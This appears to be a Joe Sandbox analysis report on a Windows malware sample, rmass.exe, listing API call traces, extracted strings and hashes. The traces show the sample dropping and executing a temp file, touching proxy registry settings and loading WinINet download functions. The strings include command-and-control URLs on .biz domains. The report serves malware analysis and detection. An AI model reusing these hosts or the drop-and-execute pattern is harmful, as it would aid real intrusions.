GetTempFileNameA.KERNEL32(?,tmp,00000000,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004024F9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000000,?,40000000,00000000,00000000), ref: 00402511
DeleteFileA.KERNEL32(?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000000,?,40000000,00000000), ref: 00402529
WriteFile.KERNEL32(00000000,00409C60,00000600,0040C160,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040254A
CloseHandle.KERNEL32(00000000,00000000,00409C60,00000600,0040C160,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000), ref: 00402550
GetStartupInfoA.KERNEL32(00000000), ref: 0040255A
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,?,40000000,00000000,00000000,00000002), ref: 0040259C
DeleteFileA.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,?,40000000,00000000,00000000), ref: 004025AD
DeleteFileA.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,?,40000000,00000000), ref: 004025BF
CloseHandle.KERNEL32(00000012,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,?,40000000,00000000,00000000), ref: 004025D6
lstrcpy.KERNEL32(00000004,?), ref: 004025F2
lstrcpy.KERNEL32(00000108,?), ref: 0040260B
CreateThread.KERNEL32(00000000,00010000,00402301,00000000,00000000), ref: 0040262B
CloseHandle.KERNEL32(00000000,00000004,?,00000012,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,?), ref: 00402631

Strings

urlinj_fork, xrefs: 004025C4
urlinj_creat_f, xrefs: 0040252E
tmp, xrefs: 00402439, 004024EC
urlinj_conn, xrefs: 004023E7
urlinj_xfer, xrefs: 004024D0
urlinj_creat, xrefs: 00402475

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: File$Internetlstrcpy$CloseCreateDeleteHandle$OptionTemp$NameWritelstrcat$InfoOpenPathProcessReadStartupThreadclosesockethtonslstrlensocket
String ID: tmp$urlinj_conn$urlinj_creat$urlinj_creat_f$urlinj_fork$urlinj_xfer
API String ID: 910217646-3391900140
Opcode ID: bed5c1ee61827fee8f0033d0d1a4559c3885053b77282d0e263c8b84b92be739
Instruction ID: 80098ff5335807751e7b060e98490b1c26acefe31690528cc0e00fc22b84f569
Opcode Fuzzy Hash: bed5c1ee61827fee8f0033d0d1a4559c3885053b77282d0e263c8b84b92be739
Instruction Fuzzy Hash: 7F71E9712047447AE731A6758E4EFEB329C8F80704F50483BB644FA2C2EAFCD945866E

Uniqueness

Uniqueness Score: -1.00%

Function 00401A88 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 127registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,0040273C,?,Default Flags), ref: 00401AC6
RegEnumKeyA.ADVAPI32(80000003,?,?,00001000), ref: 00401C1D
RegCloseKey.ADVAPI32(?,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,0040273C,?), ref: 00401C2E

Strings

_Classes, xrefs: 00401AEE
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections, xrefs: 00401ABC
ProxyEnable, xrefs: 00401B41
\Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 00401B0E
Connections, xrefs: 00401B7D

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: CloseCreateEnum
String ID: Connections$ProxyEnable$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections$\Software\Microsoft\Windows\CurrentVersion\Internet Settings$_Classes
API String ID: 2702359829-1466506419
Opcode ID: 90b977da07f08cdc8eab7533c909fc4136716caf03bb708be4450e8a2354cb50
Instruction ID: b3c6845c7cc7358e21721668acba52ac81ea92210d0409fa8cf9a8fc2de8423e
Opcode Fuzzy Hash: 90b977da07f08cdc8eab7533c909fc4136716caf03bb708be4450e8a2354cb50
Instruction Fuzzy Hash: 9141C47118834579F721EA618C41FAB76ACEF84788F00083FB685B50D1EBBCD914D66A

Uniqueness

Uniqueness Score: -1.00%

Function 00403AB1 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 57libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,InternetOpenA), ref: 00403B11
GetProcAddress.KERNEL32(?,InternetOpenUrlA), ref: 00403B21
GetProcAddress.KERNEL32(?,InternetReadFile), ref: 00403B31
GetProcAddress.KERNEL32(?,InternetSetOptionA), ref: 00403B41
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 00403B51

Strings

InternetSetOptionA, xrefs: 00403AE7, 00403B36
InternetCloseHandle, xrefs: 00403AF9, 00403B46
InternetOpenUrlA, xrefs: 00403AC3, 00403B16
InternetOpenA, xrefs: 00403AB1, 00403B0B
InternetReadFile, xrefs: 00403AD5, 00403B26
winrnt.exe, xrefs: 00403B67

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: AddressProc
String ID: InternetCloseHandle$InternetOpenA$InternetOpenUrlA$InternetReadFile$InternetSetOptionA$winrnt.exe
API String ID: 190572456-2600980705
Opcode ID: efdde1d6433f62dedb2f88622d8dc77442539a25a3b2bb2a7ff2e73a7951e06f
Instruction ID: 63eaa8bc75678119ca595fc79afd30bbacb21d8015fafef53c274f568fe1bf47
Opcode Fuzzy Hash: efdde1d6433f62dedb2f88622d8dc77442539a25a3b2bb2a7ff2e73a7951e06f
Instruction Fuzzy Hash: 77115E62658342A9CB013BB94DC551A2D0CF516725360CB77E0E3FA1E3D73C99238A6F

Uniqueness

Uniqueness Score: -1.00%

Function 004010F7 Relevance: 15.1, APIs: 10, Instructions: 77fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040111F
SetFileAttributesA.KERNEL32(?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040113D
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00401155
ReadFile.KERNEL32(00000000,?,00001000,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000), ref: 004011A7
CloseHandle.KERNEL32(00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?,00000000), ref: 004011B1
CloseHandle.KERNEL32(00000000,00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?), ref: 004011B7
DeleteFileA.KERNEL32(?,00000000,00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000), ref: 004011BD

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: File$CloseCreateHandle$AttributesDeleteRead
String ID:
API String ID: 3513576528-0
Opcode ID: 999881b5c87c23a211432b98c8798502062c826358d35038ccdd3ae1fed7893b
Instruction ID: a6e5716d89433afdb7d9f4f158dd905d05207354bf63bbd911023db8829accde
Opcode Fuzzy Hash: 999881b5c87c23a211432b98c8798502062c826358d35038ccdd3ae1fed7893b
Instruction Fuzzy Hash: CF115130350B4436E63172329C4AFAF219CCF49B58F90853BB754F91D1D6BCA8454A6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401F06 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 108stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 00401F4C
lstrcpy.KERNEL32(?,?), ref: 00401F74
wsprintfA.USER32 ref: 00401FC5
wsprintfA.USER32 ref: 00401FE7

Strings

http://%s.biz/d/G?, xrefs: 00401FBD
%02X, xrefs: 00401FE1

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: wsprintf$lstrcpylstrlen
String ID: %02X$http://%s.biz/d/G?
API String ID: 1876335253-1405168728
Opcode ID: 13b39baa9b869c97691bcbca1d1825f3a0c382664bada08e2a7e6f0a17e05d2d
Instruction ID: e0bdc7e3bb12d4f3172dcd8bc2201614ea442c8a8193c297088bbb692e1f50c6
Opcode Fuzzy Hash: 13b39baa9b869c97691bcbca1d1825f3a0c382664bada08e2a7e6f0a17e05d2d
Instruction Fuzzy Hash: 94311831A0034A8BD710EBE5C88479BBBF4AF41318F544137E451AB2D6D77CA945CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00402056 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123networkfileCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,?,?), ref: 0040207A
select.WS2_32(00000000,?,00000000,00000000,00000028), ref: 004020BD
recv.WS2_32(?,?,?,00000000), ref: 004020CD

Strings

(, xrefs: 00402091

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: FileInternetReadrecvselect
String ID: (
API String ID: 1361185869-3887548279
Opcode ID: f04883c74c863c6557727d3c4a0cc8e1b10d62e1d04978f393772f404d101972
Instruction ID: 1fcd0d6409183d73132ea75ca463baecc2b767e2b6e15ce2ca548764a2397c31
Opcode Fuzzy Hash: f04883c74c863c6557727d3c4a0cc8e1b10d62e1d04978f393772f404d101972
Instruction Fuzzy Hash: BA41D5701087519BD3258F25C94872BBBE4EF85320F14C62FF699AA2C1C3B99D45CB56

Uniqueness

Uniqueness Score: -1.00%

Function 004021DA Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 20stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000012,http://utbidet-ugeas.biz/d/rpt?), ref: 004021F7
lstrcat.KERNEL32(00000000,00000012), ref: 004021FD

Part of subcall function 00401C3E: lstrcpy.KERNEL32(?,?), ref: 00401C6A
Part of subcall function 00401C3E: lstrlen.KERNEL32(00000000,?,?), ref: 00401C70
Part of subcall function 00401C3E: htons.WS2_32(00000050), ref: 00401CD1
Part of subcall function 00401C3E: socket.WS2_32(00000002,00000001,00000006), ref: 00401D2C
Part of subcall function 00401C3E: closesocket.WS2_32(00000000), ref: 00401D4F
Part of subcall function 00401C3E: InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 00401E65
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000002,00000004), ref: 00401E8B
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000006,00000004,00000004), ref: 00401E97
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000005,00000004,00000004), ref: 00401EA3

Part of subcall function 004021AF: InternetCloseHandle.WININET(?), ref: 004021BA
Part of subcall function 004021AF: InternetCloseHandle.WININET(00000000), ref: 004021C2

Strings

http://utbidet-ugeas.biz/d/rpt?, xrefs: 004021ED
urlinj_conn, xrefs: 004021DA

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: Internet$Option$CloseHandlelstrcpy$Openclosesockethtonslstrcatlstrlensocket
String ID: http://utbidet-ugeas.biz/d/rpt?$urlinj_conn
API String ID: 1417007407-2018722472
Opcode ID: 5a60bafed74b6e7979ea8a69e03c6cd63500bc6724c2014440ff336a47a94acb
Instruction ID: c17a9db8bb3a20ef78ed205b9bcaaddea2596c828afa4941c02cc09d7013ae7e
Opcode Fuzzy Hash: 5a60bafed74b6e7979ea8a69e03c6cd63500bc6724c2014440ff336a47a94acb
Instruction Fuzzy Hash: 46D0126169074726E620B2B68E0EF6F215C8FC4344F80843B7504F65C1DA7DE441566A

Uniqueness

Uniqueness Score: -1.00%

Function 00403A03 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetIpAddrTable), ref: 00403A1B

Strings

_Classes, xrefs: 00403A31
GetIpAddrTable, xrefs: 00403A03, 00403A15

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: AddressProc
String ID: GetIpAddrTable$_Classes
API String ID: 190572456-3592534314
Opcode ID: d3f1cc92324819b7274d08ef9ae37d4908f6a79702804be9029cd2ab427b2ca9
Instruction ID: a9ff5faeca46a04752ac10b07b4ddd8daaefac53876dae9cc3ad8f1621337e6c
Opcode Fuzzy Hash: d3f1cc92324819b7274d08ef9ae37d4908f6a79702804be9029cd2ab427b2ca9
Instruction Fuzzy Hash: EBD0128074838269CB111A3449810191C08D6577613668F73A0D3B90D6C23C4A134A6F

Uniqueness

Uniqueness Score: -1.00%

Function 004039B3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,RasEnumConnectionsA), ref: 004039CB

Strings

RasEnumConnectionsA, xrefs: 004039B3, 004039C5
iphlpapi.dll, xrefs: 004039E1

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: AddressProc
String ID: RasEnumConnectionsA$iphlpapi.dll
API String ID: 190572456-2181992158
Opcode ID: 2cbb665c77644556c815a87615f5b08a911e25a567cd6577e8e435e5e318dce4
Instruction ID: 64522f513b19e0167eb2d154f3ba062aaa806500629e3d3c77fb6f15c3e75435
Opcode Fuzzy Hash: 2cbb665c77644556c815a87615f5b08a911e25a567cd6577e8e435e5e318dce4
Instruction Fuzzy Hash: AED017E021C34278C7020B3C498101A1E0CA32B7623235F73A8A3F90D2C3BC8E169A6F

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rmass.exePID: 2100, Parent PID: 6436COMMON

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14%
Total number of Nodes:	529
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00403639 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 102
fileprocesssynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00403639
Process32First.KERNEL32(?,?), ref: 00403661
Process32Next.KERNEL32(?,00000128), ref: 00403689
CloseHandle.KERNEL32(?,?,?), ref: 00403697
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?), ref: 004036A7
CloseHandle.KERNEL32(00000000,00000000,000000FF,?,?,?), ref: 004036AD
GetStartupInfoA.KERNEL32(?), ref: 004036BA
OpenProcess.KERNEL32(00100000,00000000,?,?,?), ref: 004036F1
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,000000FF,?,?), ref: 0040456A
ExitProcess.KERNEL32(00000000,00000002), ref: 00404571
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,0040A65C,?,00000104), ref: 00404594
GetFileSize.KERNEL32(00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?), ref: 004045AC
ReadFile.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?), ref: 004045D2
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 004045DE
CreateThread.KERNEL32(00000000,00001000,Function_00001038,?,00000000,?), ref: 0040460D
CloseHandle.KERNEL32(00000000,00000000,00001000,Function_00001038,?,00000000,?,?,80000000,00000001,00000000,00000003,00000000,00000000,0040A65C,?), ref: 00404613

Strings

Sq&, xrefs: 004036B9

Memory Dump Source

Source File: 00000003.00000002.4536532984.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.4536481801.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536532984.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536686037.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536803618.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rmass.jbxd

Similarity

API ID: CloseHandleProcess$CreateFile$Process32$CurrentExitFirstInfoNextObjectOpenReadSingleSizeStartupThreadWait
String ID: Sq&
API String ID: 1980376958-4259476785
Opcode ID: 073f96421c47be69e3ec19f99c1cba01a3231dfb5c3fec99af419a514418c733
Instruction ID: 59c1188c94fb2098bad69d6aaec739a39641723619b1a016dcd0e3710cb0a53f
Opcode Fuzzy Hash: 073f96421c47be69e3ec19f99c1cba01a3231dfb5c3fec99af419a514418c733
Instruction Fuzzy Hash: 55315270108784BAE730AB71CC4AF9F769DDF84748F50493FB289B51D2EA7895048F6A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00403703 Relevance: 156.9, APIs: 87, Strings: 2, Instructions: 1119libraryloaderthreadCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,0040AA3C), ref: 00403724
LoadLibraryA.KERNEL32(0040AA32,0040AA1A,?,0040AA3C), ref: 00403792
GetProcAddress.KERNEL32(00000000,0040AA32), ref: 0040379A
GetProcAddress.KERNEL32(00000000,0040AA05), ref: 004037AA
GetProcAddress.KERNEL32(00000000,0040A9F4), ref: 004037BA
GetProcAddress.KERNEL32(00000000,0040A9E1), ref: 004037CA
GetProcAddress.KERNEL32(00000000,0040A9CE), ref: 00403814
GetProcAddress.KERNEL32(00000000,0040A9B6), ref: 00403829
CloseHandle.KERNEL32(?,?,0040AA3C), ref: 00403917
WSAStartup.WS2_32(00000002,?), ref: 0040396E
GetTickCount.KERNEL32 ref: 00403973
GetCurrentProcessId.KERNEL32(00000000,?,00000104,kernel32.dll,0040C0C0), ref: 0040397A
GetCurrentThreadId.KERNEL32 ref: 00403981
LoadLibraryA.KERNEL32(0040A996,00000000,?,00000104,kernel32.dll,0040C0C0), ref: 004039A8
GetProcAddress.KERNEL32(00000000,0040A982), ref: 004039CB
LoadLibraryA.KERNEL32(0040A975,0040A996,00000000,?,00000104,kernel32.dll,0040C0C0), ref: 004039F8
GetProcAddress.KERNEL32(00000000,0040A966), ref: 00403A1B
LoadLibraryA.KERNEL32(0040A87E,0040A975,0040A996,00000000,?,00000104,kernel32.dll,0040C0C0), ref: 00403AA2

Strings

S`%, xrefs: 004039CA
%02X, xrefs: 004040D7

Memory Dump Source

Source File: 00000003.00000002.4536532984.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.4536481801.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536532984.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536686037.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536803618.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rmass.jbxd

Similarity

API ID: AddressProc$LibraryLoad$Current$CloseCountHandleProcessStartupThreadTick
String ID: %02X$S`%
API String ID: 2771215645-3485051857
Opcode ID: 90c27c5caaafad24f8398dfa288d7eda3151299a8d07a4213cceb22079d1b7d4
Instruction ID: 02cfb2444ee87f7ad2523791eafba711b5694b2a4b2db39331df682b77f57b67
Opcode Fuzzy Hash: 90c27c5caaafad24f8398dfa288d7eda3151299a8d07a4213cceb22079d1b7d4
Instruction Fuzzy Hash: E8825A70208342A9D7215A788D85B1B2D5CEB52725F208E7BF1E3FA1D2D77C8912876F

Uniqueness

Uniqueness Score: -1.00%

Function 0040233A Relevance: 44.0, APIs: 24, Strings: 1, Instructions: 243
filestringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(?,?), ref: 00402377
GetTempPathA.KERNEL32(00000104,?,?,?,?,00000000,?,00000000,?,00402E29,00000000,00000000,?,004087D8,00000000,00000003), ref: 004023FF
lstrcpy.KERNEL32(?,?), ref: 00402423
lstrcat.KERNEL32(00000000,?), ref: 00402429
lstrcat.KERNEL32(00000000,00000000), ref: 0040242F
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040245E

Part of subcall function 00401C3E: lstrcpy.KERNEL32(?), ref: 00401C6A
Part of subcall function 00401C3E: lstrlen.KERNEL32(00000000), ref: 00401C70
Part of subcall function 00401C3E: htons.WS2_32(00000050), ref: 00401CD1
Part of subcall function 00401C3E: socket.WS2_32(00000002,00000001,00000006), ref: 00401D2C
Part of subcall function 00401C3E: closesocket.WS2_32(00000000), ref: 00401D4F

GetTempFileNameA.KERNEL32(?,tmp,00000000,?), ref: 0040243F
WriteFile.KERNEL32(00000000,?,00000000,0040C160,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040248E
CloseHandle.KERNEL32(00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004024B8
DeleteFileA.KERNEL32(?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004024CB
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004024F9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000000,?,40000000,00000000,00000000), ref: 00402511
DeleteFileA.KERNEL32(?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000000,?,40000000,00000000), ref: 00402529
WriteFile.KERNEL32(00000000,00409C60,00000600,0040C160,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040254A
CloseHandle.KERNEL32(00000000,00000000,00409C60,00000600,0040C160,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000), ref: 00402550
GetStartupInfoA.KERNEL32(00000000), ref: 0040255A
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,?,40000000,00000000,00000000,00000002), ref: 0040259C
DeleteFileA.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,?,40000000,00000000,00000000), ref: 004025AD
DeleteFileA.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,?,40000000,00000000), ref: 004025BF
CloseHandle.KERNEL32(00000012,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,?,40000000,00000000,00000000), ref: 004025D6
lstrcpy.KERNEL32(00000004,?), ref: 004025F2
lstrcpy.KERNEL32(00000108,?), ref: 0040260B
CreateThread.KERNEL32(00000000,00010000,00402301,00000000,00000000), ref: 0040262B
CloseHandle.KERNEL32(00000000,00000004,?,00000012,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,?), ref: 00402631

Strings

tmp, xrefs: 00402439, 004024EC

Memory Dump Source

Source File: 00000003.00000002.4536532984.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.4536481801.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536532984.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536686037.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.4536803618.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_rmass.jbxd

Similarity

API ID: File$lstrcpy$CloseCreateDeleteHandle$Temp$NameWritelstrcat$InfoPathProcessStartupThreadclosesockethtonslstrlensocket
String ID: tmp
API String ID: 2443235674-753892680
Opcode ID: 2c69e25957710f4d53c76a3bd7265906a615abc23f890f6a5b4b4b2d4d2f1bd0
Instruction ID: 80098ff5335807751e7b060e98490b1c26acefe31690528cc0e00fc22b84f569
Opcode Fuzzy Hash: 2c69e25957710f4d53c76a3bd7265906a615abc23f890f6a5b4b4b2d4d2f1bd0
Instruction Fuzzy Hash: 7F71E9712047447AE731A6758E4EFEB329C8F80704F50483BB644FA2C2EAFCD945866E

Uniqueness

Uniqueness Score: -1.00%

Function 00404A32 Relevance: 31.7, APIs: 21, Instructions: 187
registryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,?), ref: 00404A47
CreateMutexA.KERNEL32(00000000,00000000,00407260,00000000,?,0040B041,00407AA0,?,00000104), ref: 00404A67
WaitForSingleObject.KERNEL32 ref: 00404A7D
CloseHandle.KERNEL32(?), ref: 00404A89
Sleep.KERNEL32(000007D0,00000000,00000000,00407260,00000000,?,0040B041,00407AA0,?,00000104), ref: 00404A95
SetFileAttributesA.KERNEL32(?,00000080,000007D0,00000000,00000000,00407260,00000000,?,0040B041,00407AA0,?,00000104), ref: 00404AA7
